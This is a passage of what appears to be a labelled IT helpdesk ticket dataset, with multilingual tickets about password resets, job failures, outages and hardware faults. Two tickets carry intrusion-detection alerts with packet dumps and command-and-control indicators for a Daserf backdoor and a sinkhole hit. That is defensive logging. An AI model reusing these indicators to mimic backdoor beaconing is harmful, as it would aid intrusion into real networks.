,_x000D_ +ich und howfanzi siavgtby brauchen eine neue anständige maus._x000D_ +währe schön wenn du sie kurzfristig uns vorbei bringen könnuacyltoe hxgaycze._x000D_ +",GRP_24 +"maus defekt hallo ,_x000D_ +ich und howfanzi siavgtby brauchen eine neue anständige maus._x000D_ +währe schön wenn du sie kurzfristig uns vorbei bringen könnuacyltoe hxgaycze._x000D_ +",GRP_24 +probleme mit symantec \ konferenzraum stäbe \nozahtbr ubznqpsy probleme mit symantec \ konferenzraum stäbe \nozahtbr ubznqpsy,GRP_24 +drucker defekt in der qs fehlermeldung 59.fo,GRP_24 +account locked in erp SID_34 account locked in erp SID_34,GRP_0 +"vpn connection _x000D_ +_x000D_ +received from: xwertljy.zrmlhkyq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please help me to connect to vpn i am not able to._x000D_ +matheywter urgent._x000D_ +_x000D_ +_x000D_ +",GRP_19 +"network outage:india , in-company- carrier:site is hard down since at 6:12 am et on 09/21. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______6:12 am et on 09/21________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _no_______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +pasword and connection problem i don't reach pasword manager pages. it says security problem for this connection.,GRP_0 +reset passwords for mvhcoqed konjdmwq using password_management_tool password reset. the,GRP_17 +reset passwords for mvhcoqed konjdmwq using password_management_tool password reset. the,GRP_17 +"job Job_1392 failed in job_scheduler at: 09/21/2016 06:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1392 failed in job_scheduler at: 09/21/2016 06:13:00",GRP_9 +HostName_809 : usa plant ups is down at 4 am et on 09/21. HostName_809 : usa plant ups is down at 4 am et on 09/21.,GRP_8 +"erp csd cockpit application: condition update not possible erp csd cockpit application: condition update not possible_x000D_ +not possible to built up an price record (21.09.16 gt 11:21)_x000D_ +quote 3116246099 line item 10",GRP_13 +ess password reset ess password reset,GRP_0 +"HostName_239 : volume: /dev/ora_data2 is over 85% space consumed. space available: 2.9 g HostName_239 : volume: /dev/ora_data2 is over 85% space consumed. space available: 2.9 g_x000D_ +",GRP_1 +qlhmawgi sgwipoxn : roaghyunokepc locked qlhmawgi sgwipoxn : roaghyunokepc locked,GRP_0 +"my SID_1 system is been locked, can you unlock it. my SID_1 system is been locked, can you unlock it. +my user id is- vvhstyap",GRP_2 +"collaboration_platform access not going through _x000D_ +_x000D_ +received from: byrljshv.bwvmophd@gmail.com_x000D_ +_x000D_ +to the concerned,_x000D_ +_x000D_ +i am unable to access to the collaboration_platform. (_x000D_ +please resolve it at the earliest._x000D_ +_x000D_ +_x000D_ +",GRP_16 +aiuw8911994 india patching_antivirus_sw desktop server is offline this pc is offline since 19th sept,GRP_19 +"order products online problem from: -ebusiness service +sent: wednesday, september 21, 2016 11:39 am +to: jfwvuzdn xackgvmd +cc: nwfodmhc exurcwkm +subject: radgthika: order products online problem + +hello, + +the issue is that your userid is locked in erp SID_34 and in erp SID_39. +you need to go to the password_management_tool password manager and first select the option ""unlock accounts"", after that select the option ""change password"" +once that is completed successfully, you should logon to distributor_tool with that new password. + + + + +mit freundlichem gruß / kind ",GRP_0 +"erp无法登录，提示logon balancing error 88 . gartryhu：_x000D_ +你好，从昨天晚上开始，我的erp登录持续出现以下错误，请帮忙看看什么原因！_x000D_ +在家里vpn和公司直接登录都是这样！_x000D_ +多谢了_x000D_ +best ",GRP_31 +"security incidents - ( #in33932723 ) : possible daserf trojan (apt activity) - leengineering_tool-201-zhm source ip: 10.44.63.52_x000D_ +source hostname: leengineering_tool-201-zhm_x000D_ +destination ip: 218.84.244.31_x000D_ +system name :_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:see below_x000D_ +--------------------------------------------------------------------------------------------------------------------------------------_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 94845494_x000D_ +event summary: 52798 vid75839 daserf backdoor phoning home (apt activity)_x000D_ +occurrence count: 1_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 10.44.63.52_x000D_ +source hostname: leengineering_tool-201-zhm_x000D_ +source port: 3475_x000D_ +destination ip: 218.84.244.31_x000D_ +destination port: 80_x000D_ +destination ip geolocation: urumqi, chn_x000D_ +connection directionality: outgoing_x000D_ +protocol: tcp_x000D_ +http method: get_x000D_ +user agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1)_x000D_ +host: es.f.360.cn_x000D_ +full url path: /stats.php_x000D_ +_x000D_ +device information_x000D_ +device ip: 80.68.49.4169_x000D_ +device name: isensor05.company.com_x000D_ +log time: 2016-09-20 at 23:58:57 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 591748_x000D_ +cvss score: -1 _x000D_ +vendor priority: 1_x000D_ +vendor version: 7_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 2174626_x000D_ +inspector rule id: 277082_x000D_ +inspector event id: 891373519_x000D_ +ontology id: 200020003203759120_x000D_ +event type id: 200020003203703260_x000D_ +agent id: 102835_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21163809:2] 52798 vid75839 daserf backdoor phoning home (apt activity) [**]_x000D_ +[classification: none] [priority: 1] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 606873][event id: 591748][time: 2585526048.971531]_x000D_ +[src ip: 10.44.63.52][dst ip: 218.84.244.31][sport/itype: 3475][dport/icode: 80][proto: 6]_x000D_ +09/20/2016-23:58:57.97153sartlgeo lhqksbdx0.44.63.52:3475 -> 218.84.244.31:80_x000D_ +tcp ttl:61 tos:0x0 id:44699 iplen:20 dgmlen:180 df_x000D_ +***ap*** seq: 0x85f0af80 ack: 0xf50449c6 win: 0xb5c9 tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /stats.php]_x000D_ +_x000D_ +[ex http_hostname 10: es.f.360.cn]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +....a..w............e.....@.=.v..,?4.t.....p......i.p.......get./stats.php.http/1.1..user-agent:.mozilla/4.0.(compatible;.msie.6.0;.windows.nt.5.1;.sv1)..host:.es.f.360.cn..cache-control:.no-cache...._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 41cd e157 0bd3 0e00 b400 0000 ....a..w........_x000D_ +000010 b400 0000 4500 00b4 ae9b 4000 3d06 76d4 ....e.....@.=.v._x000D_ +000020 0a2c 3f34 da54 f41f 0d93 0050 85f0 af80 .,?4.t.....p...._x000D_ +000030 f504 49c6 5018 b5c9 f190 0000 4745 5420 ..i.p.......get._x000D_ +000040 2f73 7461 7473 2e70 6870 2048 5454 502f /stats.php.http/_x000D_ +000050 312e 310d 0a55 7365 722d 4167 656e 743a 1.1..user-agent:_x000D_ +000060 204d 6f7a 696c 6c61 2f34 2e30 2028 636f .mozilla/4.0.(co_x000D_ +000070 6d70 6174 6962 6c65 3b20 4d53 4945 2036 mpatible;.msie.6_x000D_ +000080 2e30 3b20 5769 6e64 6f77 7320 4e54 2035 .0;.windows.nt.5_x000D_ +000090 2e31 3b20 5356 3129 0d0a 486f 7374 3a20 .1;.sv1)..host:._x000D_ +0000a0 6573 2e66 2e33 3630 2e63 6e0d 0a43 6163 es.f.360.cn..cac_x000D_ +0000b0 6865 2d43 6f6e 7472 6f6c 3a20 6e6f 2d63 he-control:.no-c_x000D_ +0000c0 6163 6865 0d0a 0d0a ache...._x000D_ +==pcap 1 hex e==",GRP_48 +"security incidents - ( #in33924718 ) : possible malware infection - traffic from sinkhole domain to android-13849fa3 source ip :195.22.28.222_x000D_ +destination ip: 12.90.42.78296_x000D_ +destination hostname: android-13849fa3e9c2e1e3_x000D_ +destination port: 50060_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:see below_x000D_ +----------------------------------------------------------------------------------------------------_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 84313125_x000D_ +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset_x000D_ +occurrence count: 2_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 195.22.28.222_x000D_ +source port: 80_x000D_ +source ip geolocation: lisbon, prt_x000D_ +destination ip: 12.90.42.78296_x000D_ +destination hostname: android-13849fa3e9c2e1e3_x000D_ +destination port: 50060_x000D_ +destination mac address: 84:38:38:49:8e:8c_x000D_ +connection directionality: incoming_x000D_ +protocol: tcp_x000D_ +http status code: 302_x000D_ +_x000D_ +device information_x000D_ +device ip: 10.16.4.16_x000D_ +device name: isensor04.company.com_x000D_ +log time: 2016-09-20 at 14:52:40 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 658837_x000D_ +cvss score: -1 _x000D_ +vendor priority: 2_x000D_ +vendor version: 7_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 699417_x000D_ +inspector event id: 637894958_x000D_ +ontology id: 200020003203755736_x000D_ +event type id: 200020003203582148_x000D_ +agent id: 102823_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**]_x000D_ +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602983][event id: 658837][time: 2585494271.714897]_x000D_ +[src ip: 195.22.28.222][dst ip: 12.90.42.78296][sport/itype: 80][dport/icode: 50060][proto: 6]_x000D_ +09/20/2016-14:52:40.714897 195.22.28.222:80 -> 12.90.42.78296:50060_x000D_ +tcp ttl:55 tos:0x0 id:21367 iplen:20 dgmlen:395 df_x000D_ +***ap*** seq: 0x6160cb68 ack: 0x767501ef win: 0x35 tcplen: 32_x000D_ +tcp options (3) => nop nop ts: 4874825104 23401168 _x000D_ +==pcap 1==_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 20 07:09:48 60.43.89.120 dhcpd[31183]: dhcpack on 12.90.42.78296 to 84:38:38:49:8e:8c (android-13849fa3e9c2e1e3) via eth2 relay 10.16.16.2 lease-duration 604800 (renew)_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +....8m.w............e...sw@.7..-.........p..a`.hvu.....5.........u.-....http/1.1.302.moved.temporarily..server:.nginx..date:.tue,.20.sep.2016.14:52:40.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=26fd9b636b17e81f718dba282f5d46eb;.domain=.allinvest.us..location:._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 384d e157 91e8 0a00 8b01 0000 ....8m.w........_x000D_ +000010 8b01 0000 4500 018b 5377 4000 3706 f42d ....e...sw@.7..-_x000D_ +000020 c316 1cde 0a10 10c4 0050 c38c 6160 cb68 .........p..a`.h_x000D_ +000030 7675 01ef 8018 0035 fcf2 0000 0101 080a vu.....5........_x000D_ +000040 e055 b82d 00bd 0ea9 4854 5450 2f31 2e31 .u.-....http/1.1_x000D_ +000050 2033 3032 204d 6f76 6564 2054 656d 706f .302.moved.tempo_x000D_ +000060 7261 7269 6c79 0d0a 5365 7276 6572 3a20 rarily..server:._x000D_ +000070 6e67 696e 780d 0a44 6174 653a 2054 7565 nginx..date:.tue_x000D_ +000080 2c20 3230 2053 6570 2032 3031 3620 3134 ,.20.sep.2016.14_x000D_ +000090 3a35 323a 3430 2047 4d54 0d0a 436f 6e74 :52:40.gmt..cont_x000D_ +0000a0 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-type:.text/h_x000D_ +0000b0 746d 6c0d 0a43 6f6e 6e65 6374 696f 6e3a tml..connection:_x000D_ +0000c0 2063 6c6f 7365 0d0a 5365 742d 436f 6f6b .close..set-cook_x000D_ +0000d0 6965 3a20 616e 6274 723d 3236 6664 3962 ie:.anbtr=26fd9b_x000D_ +0000e0 3633 3662 3137 6538 3166 3731 3864 6261 636b17e81f718dba_x000D_ +0000f0 3238 3266 3564 3436 6562 3b20 646f 6SID_26 282f5d46eb;.doma_x000D_ +000100 696e 3d2e 616c 6c69 6e76 6573 742e 7573 in=.allinvest.us_x000D_ +000110 0d0a 4c6f 6361 7469 6f6e 3a20 6874 7470 ..location:.http_x000D_ +000120 3a2f 2f78 7373 6f2e 6865 6c70 2e61 6c6c ://xsso.help.all_x000D_ +000130 696e 7665 7374 2e75 732f 3236 6664 3962 invest.us/26fd9b_x000D_ +000140 3633 3662 3137 6538 3166 3731 3864 6261 636b17e81f718dba_x000D_ +000150 3238 3266 3564 3436 6562 0d0a 0d0a 476f 282f5d46eb....go_x000D_ +000160 2068 7474 703a 2f2f 7873 736f 2e68 656c ._x000D_ +000170 702e 616c 6c69 6e76 6573 742e 7573 2f32 p.allinvest.us/2_x000D_ +000180 3666 6439 6236 3336 6231 3765 3831 6637 6fd9b636b17e81f7_x000D_ +000190 3138 6462 6132 3832 6635 6434 3665 62 18dba282f5d46eb_x000D_ +==pcap 1 hex e==",GRP_2 +"folder access request (\\HostName_768) (t:\\finance\global bank bals fy17_x000D_ +_x000D_ +group : lhqfinglbalfy17fc_x000D_ +owner : pjxclyhs fcniljtu_x000D_ +access : full control",GRP_34 +"job Job_495 failed in job_scheduler at: 09/21/2016 03:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_495 failed in job_scheduler at: 09/21/2016 03:25:00",GRP_8 +do not have permission to ess portal. at please reach out to me for more information if needed.,GRP_2 +"mm#3342477 | mm#5270584 | mm#5270486 | mm#4166346 hi_x000D_ +_x000D_ +please see below pricing team comments and advise on above mentioned materials ;-_x000D_ +_x000D_ + _x000D_ +_x000D_ + _x000D_ +_x000D_ + _x000D_ +_x000D_ +",GRP_13 +"batch number is not appearing in pdf output of engineering_tool dear bhughjdra, + +this is a good enquiry. agree batch number view is important too. + +best ",GRP_25 +"job Job_481 failed in job_scheduler at: 09/21/2016 03:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_481 failed in job_scheduler at: 09/21/2016 03:13:00",GRP_8 +"e-time 系统java更新-转贺正平 + +received from: tuqrvowp.fxmzkvqo@gmail.com + +dear he， + +钱唐鑫和刘晓冬e-time系统的jave需要更新。 +谢谢 + + + +tuqrvowp fxmzkvqo 钱唐鑫 +human resources +tuqrvowp.fxmzkvqo@gmail.com + + +上海升阳超微粉有限公司 +上海市奉贤区陈桥路1508号 +邮编：201400 + +",GRP_30 +"distributor_tool account identification problem _x000D_ +_x000D_ +received from: pgeknaxy.usokqprd@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +as you can see at the below sreenshot, my distributor_tool account did not identified for sales organisation. so i can not do anything at the distributor_tool._x000D_ +_x000D_ +could you please help me for this issue?_x000D_ +_x000D_ +",GRP_0 +"maschinenstillstand ma 7 kesm , fernwartung notwendig; z. hd. herr himghtmelreich maschinenstillstand ma 7 kesm , fernwartung notwendig +tel. herr teichgräber ",GRP_33 +"job Job_1390 failed in job_scheduler at: 09/21/2016 02:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1390 failed in job_scheduler at: 09/21/2016 02:54:00",GRP_9 +"job Job_1332 failed in job_scheduler at: 09/21/2016 02:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1332 failed in job_scheduler at: 09/21/2016 02:51:00",GRP_9 +"re: need a little help--please + +received from: bcefayom.lzhwcgvb@gmail.com + +shathyra, lunjuws + +zd13 is the delivery output type which was developed for baker huges when usa went live on erp.. + +delivery note output type ""zdus"" will be added automatically as soon as the delivery note is created if there is no specific customer specific output type maintained. + +in this scenario since we have already a customer specific output ""zd13"" maintained in output config, ""zdus"" will be automatically replaced with ""zd13"" & it will print immediately in ""hx08""printer. (printer hx08 has been defined as default printer for sales org 1101 and customer 81917193 combination). +[cid:image003.png@01SID_353fb.6857f6c0] + +the complexity is that we are shipping to customer ""81917193"" from both usa and usa. + +can you please confirm if we are using z_chk to print the delivery note usa. + +lunjuws: we need your help to check with usa team if they are using z_chk for printing delivery note.. + +based on the above information we shall check on the possibilities and let you know.. + +chandruhdty +[ a.n ] +senior analyst - global it +--------------------------------------------------------- +bcefayom.lzhwcgvb@gmail.com + +please don't print this email unless you really need to - this will preserve trees on planet earth. + +from: damuphws arkulcoi +sent: 20 september 2016 04:35 +to: smxoklny hbecskgl +subject: need a little help--please + +sorry, i never email you to just say hey-how's it going...but you know how it's going-i'm sure..... :) + +my dilemma is-since we have started shipping to bakyhrer huhuyghes-our delivery notes are still printing to usa. who do i need to contact about this? if it is the help desk-i'm not sure what/how to ask for it. they aren't as easy to explain stuff to as you are... we are wanting the transaction ""zdus"" to be added to the delivery output screen, instead of zd13. usa used zd13 we were using zd12 but zdus is what we really need to be using. + if i have talked myself in circles let me know and i'll try to explain it a little better. + +this is an example of what we want +[cid:image001.png@01SID_353fa.f482f2e0] + +this is what we get right now after we go in and add the zd12 to get a delivery note to print here--- +[cid:image002.png@01SID_353fa.f482f2e0] + + ",GRP_18 +"job Job_1378 failed in job_scheduler at: 09/21/2016 02:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1378 failed in job_scheduler at: 09/21/2016 02:43:00",GRP_9 +"lhqSID_1856-new + +received from: ctvaejbo.mjcerqwo@gmail.com + +hi, + +i'm trying to install a license server on this new server. + +i was just logged onto it, but it now appears to be unavailable? + +pollaurid d phlpiops +manager engineering technology + + +",GRP_12 +leantracker anmeldung funktioniert nicht lean tracker öffnet nicht. fehlermeldung erscheint.,GRP_0 +"minitab to be installed name:wnorzsyv mdflqwxg +language: +browser:microsoft internet explorer +email:wnorzsyv.mdflqwxg@gmail.com +customer number: +telephone: +summary:minitab to be installed",GRP_19 +"erp access issue: please reset SID_34 password for pandepv system (SID_34, SID_37, SID_39, SID_38, hrp, other ?):_x000D_ +_x000D_ +enter user id of user having the issue:_x000D_ +_x000D_ +transaction code(s) the user needs or was working with:_x000D_ +_x000D_ +describe the issue:_x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +windows account locked windows account locked,GRP_0 +windows account locked windows account locked,GRP_0 +"batch number is not appearing in pdf output of engineering_tool _x000D_ +_x000D_ +received from: xqkydoat.bveiyclr@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +refer below snapshot of pdf output of engineering_tool._x000D_ +batch number is not appearing in pdf output._x000D_ +[cid:image008.jpg@01SID_35366.4a922790]_x000D_ +_x000D_ +why batch number is important?_x000D_ +in case of variation in tool life from batch to batch, customer raises the complaint. we send ccif with engineering_tool. in engineering_tool software we enter batch number but when i download pdf, it doesn't show batch number. without batch number, analysis cannot be done. that's why it's very important to capture batch number in engineering_tool pdf output._x000D_ +_x000D_ +for your necessary action._x000D_ +_x000D_ +_x000D_ +",GRP_53 +"network outage: poncacity -schlumhdyhter-dmvpn-rtr is down since 11:56 pm et on 09/20. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________ 11:56 pm et on 09/20.______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"wlan guest access for cantine germany from: xvwchsdg pladjmxt +sent: tuesday, september 20, 2016 5:12 pm +to: dwfiykeo argtxmvcumar3 +cc: thomklmas woehyl +subject: wlan guest access for cantine germany + +hello manjgtiry, + +we are having issues connecting to guest wlan with an 3rd party adapter which has worked before ( + +built in wifi adapter from their notebook is working just fine. both of the adapters are able to find the ssid. + +is it possible that the mac-address of the edimax is in some kind of quarantine? (74-da-38-3b-f1-58) + +best ",GRP_4 +"job Job_1374 failed in job_scheduler at: 09/21/2016 00:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1374 failed in job_scheduler at: 09/21/2016 00:32:00",GRP_9 +"request to reset microsoft online services password for xgrhplvk.coejktzn@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: wednesday, september 21, 2016 8:24 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: request to reset microsoft online services password for xgrhplvk.coejktzn@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• xgrhplvk.coejktzn@gmail.com +• first name: babhjbu +• last name: gdgy + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"not able to access -inq industrial (-inq.industrial@company.com) _x000D_ +_x000D_ +received from: muqdlobv.qflsdahg@gmail.com_x000D_ +_x000D_ +team,_x000D_ +_x000D_ +i am not able access to -inq industrial (-inq.industrial@company.com) for which we receive enquiries about special products._x000D_ +from past one week above mentioned shared email box is not functioning for me, whereas other members are able to access the same._x000D_ +so i kindly request you to take it upon high priority and confirm back._x000D_ +_x000D_ +",GRP_0 +expense report - receipts issue one of my employees sent his expenses to me today and there were notes all over it that there were no receipts. he has the receipts for everything. how should this be handled?,GRP_10 +"two billings were not posted to gl 9169221558 6th sept & 9169338118 18th sept name:jashtyckie +language: +browser:microsoft internet explorer +email:jacyjddwline.yotywdsef@company.com +customer number: +telephone: +summary:two billings were not posted to gl 9169221558 6th sept & 9169338118 18th sept",GRP_10 +"vpn will not allow access to erp name:pfzxecbo ptygkvzl_x000D_ +language:_x000D_ +browser:microsoft internet explorer_x000D_ +email:pfzxecbo.ptygkvzl@gmail.com_x000D_ +customer number:_x000D_ +telephone:_x000D_ +summary:vpn will not allow access to erp. this is the 3rd occurrence of the same issue.",GRP_0 +"job Job_2555 failed in job_scheduler at: 09/20/2016 22:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2555 failed in job_scheduler at: 09/20/2016 22:00:00",GRP_8 +"job SID_51filesys failed in job_scheduler at: 09/20/2016 20:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_51filesys failed in job_scheduler at: 09/20/2016 20:11:00",GRP_8 +电话故障 铸棒车间电话故障，39523850,GRP_48 +laptop can't log on laptop can't log on,GRP_31 +ups故障 制粉车间3楼psf交换机处ups故障，设备无任何反应。,GRP_48 +"internal crm - auto notification, not received crm 7611183702 - when the responsible user updated its status as ""final review"" it generally dispatch the auto-notification email to the crm owner but i have not received the notification. the key user confirmed it hasn't sent to me. reference to the attached email communication. please investigate why.",GRP_15 +"SID_1 access beathe _x000D_ +_x000D_ +received from: uisewznr.ewtmkphs@gmail.com_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +i am having issues logging into SID_1. i have reset my password in password manager, but still cannot access it. can you please assist? ",GRP_0 +"a dell search icon is running all the time slowing the laptop down name:danyhuie deyhtwet +language: +browser:microsoft internet explorer +email:rozsyfai.zncajubh@gmail.com +customer number: +telephone: +summary:new laptop. a dell search icon is running all the time slowing the laptop down",GRP_0 +"job Job_1315 failed in job_scheduler at: 09/20/2016 18:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1315 failed in job_scheduler at: 09/20/2016 18:15:00",GRP_9 +"add rohhsyni lalanne to shipment notification notice. + +received from: ibtvlfah.dtlwscma@gmail.com + +add e-mail address to shipment notification for customer # 81917193 +see example attached. + +lalanne, rohhsyni c + +",GRP_18 +"tax not printing on customer inwarehouse_tools please review the attached inwarehouse_tools, both of which are the same. the one without the tax is the one the customer received. the second one with the tax is one that i sent to myself and is billing tax. i spoke with cegtcily in the tax dept. and she is stating that she has a ticket in for this issue where tax is not printing but is calculating in erp. please look into this issues as quickly as possible as customers are now questioning the billing difference and it is becoming an issue for our customers. ",GRP_13 +"canadian customer inwarehouse_tools are not printing the tax amount on the inwarehouse_tools + +received from: gkzedilm.tkpfumeb@gmail.com + +user gkzedilm tkpfumeb [jesjnlyenm] can't log into his aplications - engineering_tool and netweaver. +netweaver reports ""too many incorrect logins"" and engineering_engineering_tools ""unable to contact server"". +i suspect the user is blocked from these accounts due to too many incorrect logins. +the user did not recently changed password. +",GRP_13 +"telefon defekt gigaset m2 mit der durchwahl 479_x000D_ +akku hält nicht mehr länger wie 1 tag_x000D_ +kann am display nicht mehr erkennen._x000D_ +clip defekt",GRP_33 +unable to log in to erp unable to log in to erp,GRP_0 +"user jeshyensky can't log into accounts + +received from: gkzedilm.tkpfumeb@gmail.com + +user gkzedilm tkpfumeb [jesjnlyenm] can't log into his aplications - engineering_tool and netweaver. +netweaver reports ""too many incorrect logins"" and engineering_engineering_tools ""unable to contact server"". +i suspect the user is blocked from these accounts due to too many incorrect logins. +the user did not recently changed password. +",GRP_0 +"password reset for mii password reset for mii_x000D_ +",GRP_0 +"my phone #, erp, ""name or password is incorrect (repeat logon)"", cannot log into erp systems. i have access to a few systems on erp but i am not able to log into the system. i have entered ""wynhtydf"" as my username and for the password i enter the same password that successfully logs me into password_management_tool password manager. i have unlocked the systems which i have access to in password_management_tool password manager and still cannot log in. please see screenshot ""erp error screenshot"" for the error message and ""password_management_tool password unlock"" for list of erp systems i cannot access.",GRP_0 +sfb : personal certificate error sfb : personal certificate error ,GRP_0 +"my password is locked when i am trying to go into the erp newweaver portal. name:nmpworvu upgtrvnj +language: +browser:microsoft internet explorer +email:nmpworvu.upgtrvnj@gmail.com +customer number: +telephone: +summary:my password is locked when i am trying to go into the erp newweaver portal.",GRP_0 +unable to log in to mii unable to log in to mii,GRP_0 +"loading esprit cam software on laptop.... _x000D_ +_x000D_ +received from: jvshydix.rzpmnylt@gmail.com_x000D_ +_x000D_ +twimc_x000D_ +_x000D_ +i have the opportstorage_product, along with ruben castro of company, to receive free downloads of esprit cam software through a local authorized esprit dealer we are teaming with on a project locally. i was wondering what we needed to do in order to receive administrative approval? ",GRP_3 +cannot connect to outlook from home cannot connect to outlook from home,GRP_3 +"prpf instead of prir for usa location and order 226033677, operation 10_x000D_ +_x000D_ +mii showed the order in prpf status, looking at erp, order was partially confirmed followed by ""automatic pause"" which mii adds. change log shows all entries were done by miiadmin. it's weird since erp is showing expected status which is provided by mii but mii itself is showing prpf status which does not make sense. reporting this issue so team can do a deep dive and come up with the solution",GRP_41 +qipzctgs wjhtbpfr - need network account so he can get email and etime qipzctgs wjhtbpfr is onsite in usa at baker. he needs to have access to use etime and email. i'm told he needs a network account so we can get all this et up. this is urgent. need by 9/26/16,GRP_3 +"i cannot access the discount tool when trying to enter a discount i get the following message:_x000D_ +_x000D_ +error occured. contact pricing_x000D_ +_x000D_ +i have a new laptop. i don't think it has been configured yet.",GRP_0 +"confirm threshold qty if i set confirm qty threshold to 100, it gives me error even when i try to confirm order planned qty (default). _x000D_ +for example - if order is 20 pieces and confirmation screen by default shows 20 pieces, it will give me a warning if threshold is set to 100. i believe i should get this warning for confirming pieces higher than threshold. (threshold should check if pieces entered are equal or less than planned => no warning)",GRP_41 +"performance improvement/tuning performance improvement/tuning for machine summary & load list_x000D_ +",GRP_41 +"erp SID_34 login issue - terhyury portelance name:chhyene dolhyt +language: +browser:microsoft internet explorer +email:ianqdhmu.camoysfq@gmail.com +customer number: +telephone: +summary:i am currently on the phone with our salesman terhyury portelance and he needs his password reset in erp. can you 